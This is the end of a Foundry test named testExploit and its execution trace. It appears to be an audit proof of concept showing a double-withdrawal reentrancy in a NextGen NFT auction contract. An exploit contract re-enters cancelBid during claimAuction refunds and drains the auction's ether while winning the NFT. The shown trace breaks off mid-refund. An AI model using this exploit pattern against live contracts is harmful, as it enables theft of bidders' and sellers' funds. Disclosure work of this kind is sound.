_maxCollectionPurchases 10000, // _collectionTotalSupply 0 // _setFinalSupplyTimeAfterMint ); vm.stopPrank(); } function setUpSetMinterAndRandomizerContracts() internal { hhCore.addMinterContract( address(hhMinter) ); hhCore.addRandomizer( 1, address(hhRandomizer) ); hhCore.addRandomizer( 2, address(hhRandomizer) ); } function setUpSetCollectionCostsAndPhases(uint256 collectionId) internal { hhMinter.setCollectionCosts( collectionId, // _collectionID 1, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 0, // _timePeriod 1, // _salesOptions address(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B) // delAddress ); hhMinter.setCollectionPhases( collectionId, // _collectionID 1696931278, // _allowlistStartTime 1696931278, // _allowlistEndTime 1696931278, // _publicStartTime 1796931278, // _publicEndTime 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870 // _merkleRoot ); } function testExploit() public { // Setup collection, converted from hardhat setup and scripts setUpCreateCollectionAndSetData(); setUpCreateCollectionAndSetData2(); setUpSetMinterAndRandomizerContracts(); setUpSetCollectionCostsAndPhases(1); setUpSetCollectionCostsAndPhases(2); uint256 auctionEndTime = 1796969696; // Mint NFT for auction and send it to hhMinter.mintAndAuction(auctionERC721Holder, '{"tdh": "6969"}', 0, 1, auctionEndTime); hhMinter.mintAndAuction(auctionERC721Holder, '{"tdh": "6969"}', 0, 2, auctionEndTime); // Set AuctionDemo as approved operator to allow transfer of ERC721 token to winner after auction vm.startPrank(auctionERC721Holder); hhCore.setApprovalForAll(address(hhAuctionDemo), true); vm.stopPrank(); // Bids on other auction vm.startPrank(testBid1); hhAuctionDemo.participateToAuction{value: 2 ether}(20000000000); vm.stopPrank(); vm.startPrank(testBid4); hhAuctionDemo.participateToAuction{value: 6 ether}(20000000000); vm.stopPrank(); // Adding some bids from different accounts vm.startPrank(testBid1); hhAuctionDemo.participateToAuction{value: 1 ether}(10000000000); vm.stopPrank(); vm.startPrank(exploitBid); hhExploit.bidOnAuction{value: 1.5 ether}(10000000000); vm.stopPrank(); vm.startPrank(testBid2); hhAuctionDemo.participateToAuction{value: 2 ether}(10000000000); vm.stopPrank(); vm.startPrank(exploitBid); hhExploit.bidOnAuction{value: 2.75 ether}(10000000000); vm.stopPrank(); vm.startPrank(exploitBid); hhExploit.bidOnAuction{value: 3.75 ether}(10000000000); vm.stopPrank(); vm.startPrank(testBid3); hhAuctionDemo.participateToAuction{value: 5 ether}(10000000000); vm.stopPrank(); vm.startPrank(exploitBid); hhExploit.bidOnAuction{value: 5.5 ether}(10000000000); vm.stopPrank(); vm.startPrank(exploitBid); hhExploit.bidOnAuction{value: 5.50001 ether}(10000000000); // Warp to block where auction ends vm.warp(auctionEndTime); // Exploit occurs right at auction end time hhExploit.startExploit(10000000000); vm.stopPrank(); // Verify DoubleWithdrawalExploit.sol contract holds the ERC721 assertEq(hhCore.balanceOf(address(hhExploit)), 1, "NFT was not transferred"); // Account that should have received the payment for the ERC721 is 0 instead of 1 (the winning bid) assertEq(address(auctionERC721Holder).balance, 0 ether, "Balance did not match 1"); // AuctionDemo contract balance is at 0 assertEq(address(hhAuctionDemo).balance, 0.00001 ether, "Balance did not match 2"); // DoubleWithdrawalExploit.sol contract has the 1 ether balance assertEq(address(hhExploit).balance, 27 ether, "Balance did not match 3"); } }
Foundry test run output:
[PASS] testExploit() (gas: 3458212) Traces: [3458212] TimedAuction::testExploit() ββ [0] VM::startPrank(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) β ββ β () ββ [227043] NextGenCore::createCollection(Test Collection 1, Artist 1, For testing, www.test.com, CCO, https://ipfs.io/ipfs/hash/, , [test]) β ββ [2856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x02de55d000000000000000000000000000000000000000000000000000000000) [staticcall] β β ββ β false β ββ [2560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] β β ββ β true β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [0] VM::startPrank(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) β ββ β () ββ [23016] NextGenAdmins::registerCollectionAdmin(1, 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, true) β ββ β () ββ [148686] NextGenCore::setCollectionData(1, 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 2, 10000 [1e4], 0) β ββ [2638] NextGenAdmins::retrieveCollectionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1) [staticcall] β β ββ β false β ββ [2856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x7b5dbac500000000000000000000000000000000000000000000000000000000) [staticcall] β β ββ β false β ββ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] β β ββ β true β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [0] VM::startPrank(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) β ββ β () ββ [213743] NextGenCore::createCollection(Test Collection 2, Artist 2, For testing, www.test.com, CCO, https://ipfs.io/ipfs/hash/, , [test2]) β ββ [856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x02de55d000000000000000000000000000000000000000000000000000000000) [staticcall] β β ββ β false β ββ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] β β ββ β true β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [0] VM::startPrank(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) β ββ β () ββ [23016] NextGenAdmins::registerCollectionAdmin(2, 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, true) β ββ β () ββ [146686] NextGenCore::setCollectionData(2, 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 2, 10000 [1e4], 0) β ββ [2638] NextGenAdmins::retrieveCollectionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 2) [staticcall] β β ββ β false β ββ [856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x7b5dbac500000000000000000000000000000000000000000000000000000000) [staticcall] β β ββ β false β ββ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] β β ββ β true β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [30513] NextGenCore::addMinterContract(NextGenMinterContract: [0xa0Cb889707d426A7A386870A03bc70d1b0697598]) β ββ [2856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0xde00e1f700000000000000000000000000000000000000000000000000000000) [staticcall] β β ββ β false β ββ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] β β ββ β true β ββ [330] NextGenMinterContract::isMinterContract() [staticcall] β β ββ β true β ββ β () ββ [52586] NextGenCore::addRandomizer(1, NextGenRandomizerNXT: [0xc7183455a4C133Ae270771860664b6B7ec320bB1]) β ββ [2856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x1aab8d6900000000000000000000000000000000000000000000000000000000) [staticcall] β β ββ β false β ββ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] β β ββ β true β ββ [211] NextGenRandomizerNXT::isRandomizerContract() [staticcall] β β ββ β true β ββ β () ββ [48086] NextGenCore::addRandomizer(2, NextGenRandomizerNXT: [0xc7183455a4C133Ae270771860664b6B7ec320bB1]) β ββ [856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x1aab8d6900000000000000000000000000000000000000000000000000000000) [staticcall] β β ββ β false β ββ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] β β ββ β true β ββ [211] NextGenRandomizerNXT::isRandomizerContract() [staticcall] β β ββ β true β ββ β () ββ [84750] NextGenMinterContract::setCollectionCosts(1, 1, 0, 0, 0, 1, 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B) β ββ [638] NextGenAdmins::retrieveCollectionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1) [staticcall] β β ββ β false β ββ [2856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0xd2f4302f00000000000000000000000000000000000000000000000000000000) [staticcall] β β ββ β false β ββ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] β β ββ β true β ββ [506] NextGenCore::retrievewereDataAdded(1) [staticcall] β β ββ β true β ββ β () ββ [117082] NextGenMinterContract::setCollectionPhases(1, 1696931278 [1.696e9], 1696931278 [1.696e9], 1696931278 [1.696e9], 1796931278 [1.796e9], 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870) β ββ [638] NextGenAdmins::retrieveCollectionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1) [staticcall] β β ββ β false β ββ [2856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0xb85f97a000000000000000000000000000000000000000000000000000000000) [staticcall] β β ββ β false β ββ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] β β ββ β true β ββ β () ββ [78750] NextGenMinterContract::setCollectionCosts(2, 1, 0, 0, 0, 1, 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B) β ββ [638] NextGenAdmins::retrieveCollectionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 2) [staticcall] β β ββ β false β ββ [856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0xd2f4302f00000000000000000000000000000000000000000000000000000000) [staticcall] β β ββ β false β ββ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] β β ββ β true β ββ [506] NextGenCore::retrievewereDataAdded(2) [staticcall] β β ββ β true β ββ β () ββ [115082] NextGenMinterContract::setCollectionPhases(2, 1696931278 [1.696e9], 1696931278 [1.696e9], 1696931278 [1.696e9], 1796931278 [1.796e9], 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870) β ββ [638] NextGenAdmins::retrieveCollectionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 2) [staticcall] β β ββ β false β ββ [856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0xb85f97a000000000000000000000000000000000000000000000000000000000) [staticcall] β β ββ β false β ββ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] β β ββ β true β ββ β () ββ [335685] NextGenMinterContract::mintAndAuction(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, {"tdh": "6969"}, 0, 1, 1796969696 [1.796e9]) β ββ [2856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x46372ba600000000000000000000000000000000000000000000000000000000) [staticcall] β β ββ β false β ββ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] β β ββ β true β ββ [506] NextGenCore::retrievewereDataAdded(1) [staticcall] β β ββ β true β ββ [534] NextGenCore::viewCirSupply(1) [staticcall] β β ββ β 0 β ββ [555] NextGenCore::viewTokensIndexMin(1) [staticcall] β β ββ β 10000000000 [1e10] β ββ [534] NextGenCore::viewTokensIndexMax(1) [staticcall] β β ββ β 10000009999 [1e10] β ββ [534] NextGenCore::viewCirSupply(1) [staticcall] β β ββ β 0 β ββ [555] NextGenCore::viewTokensIndexMin(1) [staticcall] β β ββ β 10000000000 [1e10] β ββ [254331] NextGenCore::airDropTokens(10000000000 [1e10], 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, {"tdh": "6969"}, 0, 1) β β ββ [43723] NextGenRandomizerNXT::calculateTokenHash(1, 10000000000 [1e10], 0) β β β ββ [558] randomPool::randomNumber() [staticcall] β β β β ββ β 897 β β β ββ [8912] randomPool::randomWord() [staticcall] β β β β ββ β Tangerine β β β ββ [22851] NextGenCore::setTokenHash(1, 10000000000 [1e10], 0x64555ac2feade9bad70b104b2d9a08caa47916a21c544381bade3a49b5496a58) β β β β ββ β () β β β ββ β () β β ββ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, tokenId: 10000000000 [1e10]) β β ββ β () β ββ [534] NextGenCore::viewCirSupply(1) [staticcall] β β ββ β 1 β ββ β () ββ [318685] NextGenMinterContract::mintAndAuction(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, {"tdh": "6969"}, 0, 2, 1796969696 [1.796e9]) β ββ [856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x46372ba600000000000000000000000000000000000000000000000000000000) [staticcall] β β ββ β false β ββ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] β β ββ β true β ββ [506] NextGenCore::retrievewereDataAdded(2) [staticcall] β β ββ β true β ββ [534] NextGenCore::viewCirSupply(2) [staticcall] β β ββ β 0 β ββ [555] NextGenCore::viewTokensIndexMin(2) [staticcall] β β ββ β 20000000000 [2e10] β ββ [534] NextGenCore::viewTokensIndexMax(2) [staticcall] β β ββ β 20000009999 [2e10] β ββ [534] NextGenCore::viewCirSupply(2) [staticcall] β β ββ β 0 β ββ [555] NextGenCore::viewTokensIndexMin(2) [staticcall] β β ββ β 20000000000 [2e10] β ββ [239331] NextGenCore::airDropTokens(20000000000 [2e10], 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, {"tdh": "6969"}, 0, 2) β β ββ [35223] NextGenRandomizerNXT::calculateTokenHash(2, 20000000000 [2e10], 0) β β β ββ [558] randomPool::randomNumber() [staticcall] β β β β ββ β 897 β β β ββ [8912] randomPool::randomWord() [staticcall] β β β β ββ β Tangerine β β β ββ [22851] NextGenCore::setTokenHash(2, 20000000000 [2e10], 0x4594d859faf20b80fa133bf6d2e1506d5d7acae4b597c979d83b3da22de08912) β β β β ββ β () β β β ββ β () β β ββ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, tokenId: 20000000000 [2e10]) β β ββ β () β ββ [534] NextGenCore::viewCirSupply(2) [staticcall] β β ββ β 1 β ββ β () ββ [0] VM::startPrank(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) β ββ β () ββ [24746] NextGenCore::setApprovalForAll(auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], true) β ββ emit ApprovalForAll(owner: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, operator: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], approved: true) β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [0] VM::startPrank(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718) β ββ β () ββ [93370] auctionDemo::participateToAuction(20000000000 [2e10]) β ββ [506] NextGenMinterContract::getAuctionEndTime(20000000000 [2e10]) [staticcall] β β ββ β 1796969696 [1.796e9] β ββ [517] NextGenMinterContract::getAuctionStatus(20000000000 [2e10]) [staticcall] β β ββ β true β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [0] VM::startPrank(0xd41c057fd1c78805AAC12B0A94a405c0461A6FBb) β ββ β () ββ [71551] auctionDemo::participateToAuction(20000000000 [2e10]) β ββ [506] NextGenMinterContract::getAuctionEndTime(20000000000 [2e10]) [staticcall] β β ββ β 1796969696 [1.796e9] β ββ [517] NextGenMinterContract::getAuctionStatus(20000000000 [2e10]) [staticcall] β β ββ β true β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [0] VM::startPrank(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718) β ββ β () ββ [91370] auctionDemo::participateToAuction(10000000000 [1e10]) β ββ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall] β β ββ β 1796969696 [1.796e9] β ββ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall] β β ββ β true β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [0] VM::startPrank(0xF1F6619B38A98d6De0800F1DefC0a6399eB6d30C) β ββ β () ββ [128052] DoubleWithdrawalExploit::bidOnAuction(10000000000 [1e10]) β ββ [1504] auctionDemo::returnBids(10000000000 [1e10]) [staticcall] β β ββ β [auctionInfoStru { bidder: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, bid: 1000000000000000000 [1e18], status: true }] β ββ [71551] auctionDemo::participateToAuction(10000000000 [1e10]) β β ββ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall] β β β ββ β 1796969696 [1.796e9] β β ββ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall] β β β ββ β true β β ββ β () β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [0] VM::startPrank(0xe1AB8145F7E55DC933d51a18c793F901A3A0b276) β ββ β () ββ [73026] auctionDemo::participateToAuction(10000000000 [1e10]) β ββ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall] β β ββ β 1796969696 [1.796e9] β ββ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall] β β ββ β true β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [0] VM::startPrank(0xF1F6619B38A98d6De0800F1DefC0a6399eB6d30C) β ββ β () ββ [131236] DoubleWithdrawalExploit::bidOnAuction(10000000000 [1e10]) β ββ [2983] auctionDemo::returnBids(10000000000 [1e10]) [staticcall] β β ββ β [auctionInfoStru { bidder: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, bid: 1000000000000000000 [1e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 1500000000000000000 [1.5e18], status: true }, auctionInfoStru { bidder: 0xe1AB8145F7E55DC933d51a18c793F901A3A0b276, bid: 2000000000000000000 [2e18], status: true }] β ββ [74501] auctionDemo::participateToAuction(10000000000 [1e10]) β β ββ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall] β β β ββ β 1796969696 [1.796e9] β β ββ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall] β β β ββ β true β β ββ β () β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [0] VM::startPrank(0xF1F6619B38A98d6De0800F1DefC0a6399eB6d30C) β ββ β () ββ [133829] DoubleWithdrawalExploit::bidOnAuction(10000000000 [1e10]) β ββ [3723] auctionDemo::returnBids(10000000000 [1e10]) [staticcall] β β ββ β [auctionInfoStru { bidder: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, bid: 1000000000000000000 [1e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 1500000000000000000 [1.5e18], status: true }, auctionInfoStru { bidder: 0xe1AB8145F7E55DC933d51a18c793F901A3A0b276, bid: 2000000000000000000 [2e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 2750000000000000000 [2.75e18], status: true }] β ββ [75976] auctionDemo::participateToAuction(10000000000 [1e10]) β β ββ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall] β β β ββ β 1796969696 [1.796e9] β β ββ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall] β β β ββ β true β β ββ β () β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [0] VM::startPrank(0xE57bFE9F44b819898F47BF37E5AF72a0783e1141) β ββ β () ββ [77451] auctionDemo::participateToAuction(10000000000 [1e10]) β ββ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall] β β ββ β 1796969696 [1.796e9] β ββ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall] β β ββ β true β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [0] VM::startPrank(0xF1F6619B38A98d6De0800F1DefC0a6399eB6d30C) β ββ β () ββ [139016] DoubleWithdrawalExploit::bidOnAuction(10000000000 [1e10]) β ββ [5203] auctionDemo::returnBids(10000000000 [1e10]) [staticcall] β β ββ β [auctionInfoStru { bidder: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, bid: 1000000000000000000 [1e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 1500000000000000000 [1.5e18], status: true }, auctionInfoStru { bidder: 0xe1AB8145F7E55DC933d51a18c793F901A3A0b276, bid: 2000000000000000000 [2e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 2750000000000000000 [2.75e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 3750000000000000000 [3.75e18], status: true }, auctionInfoStru { bidder: 0xE57bFE9F44b819898F47BF37E5AF72a0783e1141, bid: 5000000000000000000 [5e18], status: true }] β ββ [78926] auctionDemo::participateToAuction(10000000000 [1e10]) β β ββ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall] β β β ββ β 1796969696 [1.796e9] β β ββ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall] β β β ββ β true β β ββ β () β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [0] VM::startPrank(0xF1F6619B38A98d6De0800F1DefC0a6399eB6d30C) β ββ β () ββ [141610] DoubleWithdrawalExploit::bidOnAuction(10000000000 [1e10]) β ββ [5944] auctionDemo::returnBids(10000000000 [1e10]) [staticcall] β β ββ β [auctionInfoStru { bidder: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, bid: 1000000000000000000 [1e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 1500000000000000000 [1.5e18], status: true }, auctionInfoStru { bidder: 0xe1AB8145F7E55DC933d51a18c793F901A3A0b276, bid: 2000000000000000000 [2e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 2750000000000000000 [2.75e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 3750000000000000000 [3.75e18], status: true }, auctionInfoStru { bidder: 0xE57bFE9F44b819898F47BF37E5AF72a0783e1141, bid: 5000000000000000000 [5e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 5500000000000000000 [5.5e18], status: true }] β ββ [80401] auctionDemo::participateToAuction(10000000000 [1e10]) β β ββ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall] β β β ββ β 1796969696 [1.796e9] β β ββ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall] β β β ββ β true β β ββ β () β ββ β () ββ [0] VM::warp(1796969696 [1.796e9]) β ββ β () ββ [296250] DoubleWithdrawalExploit::startExploit(10000000000 [1e10]) β ββ [295653] auctionDemo::claimAuction(10000000000 [1e10]) β β ββ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall] β β β ββ β 1796969696 [1.796e9] β β ββ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall] β β β ββ β true β β ββ [625] NextGenCore::ownerOf(10000000000 [1e10]) [staticcall] β β β ββ β 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69 β β ββ [0] 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718::fallback() β β β ββ β () β β ββ emit Refund(_add: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, tokenid: 10000000000 [1e10], status: true, funds: 5500010000000000000 [5.5e18]) β β ββ [31661] DoubleWithdrawalExploit::receive() β β β ββ [11892] auctionDemo::cancelBid(10000000000 [1e10], 1) β β β β ββ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall] β β β β β ββ β 1796969696 [1.796e9] β β β β ββ [1682] DoubleWithdrawalExploit::receive() β β β β β ββ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 1500000000000000000 [1.5e18]) β β β β β ββ β () β β β β ββ emit CancelBid(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], index: 1, status: true, funds: 1500000000000000000 [1.5e18]) β β β β ββ β () β β β ββ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 1500000000000000000 [1.5e18]) β β β ββ β () β β ββ emit Refund(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], status: true, funds: 5500010000000000000 [5.5e18]) β β ββ [0] 0xe1AB8145F7E55DC933d51a18c793F901A3A0b276::fallback() β β β ββ β () β β ββ emit Refund(_add: 0xe1AB8145F7E55DC933d51a18c793F901A3A0b276, tokenid: 10000000000 [1e10], status: true, funds: 5500010000000000000 [5.5e18]) β β ββ [31661] DoubleWithdrawalExploit::receive() β β β ββ [11892] auctionDemo::cancelBid(10000000000 [1e10], 3) β β β β ββ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall] β β β β β ββ β 1796969696 [1.796e9] β β β β ββ [1682] DoubleWithdrawalExploit::receive() β β β β β ββ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 2750000000000000000 [2.75e18]) β β β β β ββ β () β β β β ββ emit CancelBid(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], index: 3, status: true, funds: 2750000000000000000 [2.75e18]) β β β β ββ β () β β β ββ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 2750000000000000000 [2.75e18]) β β β ββ β () β β ββ emit Refund(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], status: true, funds: 5500010000000000000 [5.5e18]) β β ββ [31661] DoubleWithdrawalExploit::receive() β β β ββ [11892] auctionDemo::cancelBid(10000000000 [1e10], 4) β β β β ββ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall] β β β β β ββ β 1796969696 [1.796e9] β β β β ββ [1682] DoubleWithdrawalExploit::receive() β β β β β ββ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 3750000000000000000 [3.75e18]) β β β β β ββ β () β β β β ββ emit CancelBid(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], index: 4, status: true, funds: 3750000000000000000 [3.75e18]) β β β β ββ β () β β β ββ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 3750000000000000000 [3.75e18]) β β β ββ β () β β ββ emit Refund(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], status: true, funds: 5500010000000000000 [5.5e18]) β β ββ [0] 0xE57bFE9F44b819898F47BF37E5AF72a0783e1141::fallback() β β β ββ β () β β ββ emit Refund(_add: 0xE57bFE9F44b819898F47BF37E5AF72a0783e1141, tokenid: 10000000000 [1e10], status: true, funds: 5500010000000000000 [5.5e18]) β β ββ [31661] DoubleWithdrawalExploit::receive() β β β ββ [11892] auctionDemo::cancelBid(10000000000 [1e10], 6) β β β β ββ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall] β β β β β ββ β 1796969696 [1.796e9] β β β β ββ [1682] DoubleWithdrawalExploit::receive() β β β β β ββ emit EtherReceived(sender: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 5500000000000000000 [5.5e18]) β β β β β ββ β () β β β β ββ emit CancelBid(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], index: 6, status: true, funds: 5500000000000000000 [5.5e18]) β β β β ββ β () β β β ββ emit EtherReceived(sender: auctionDemo: 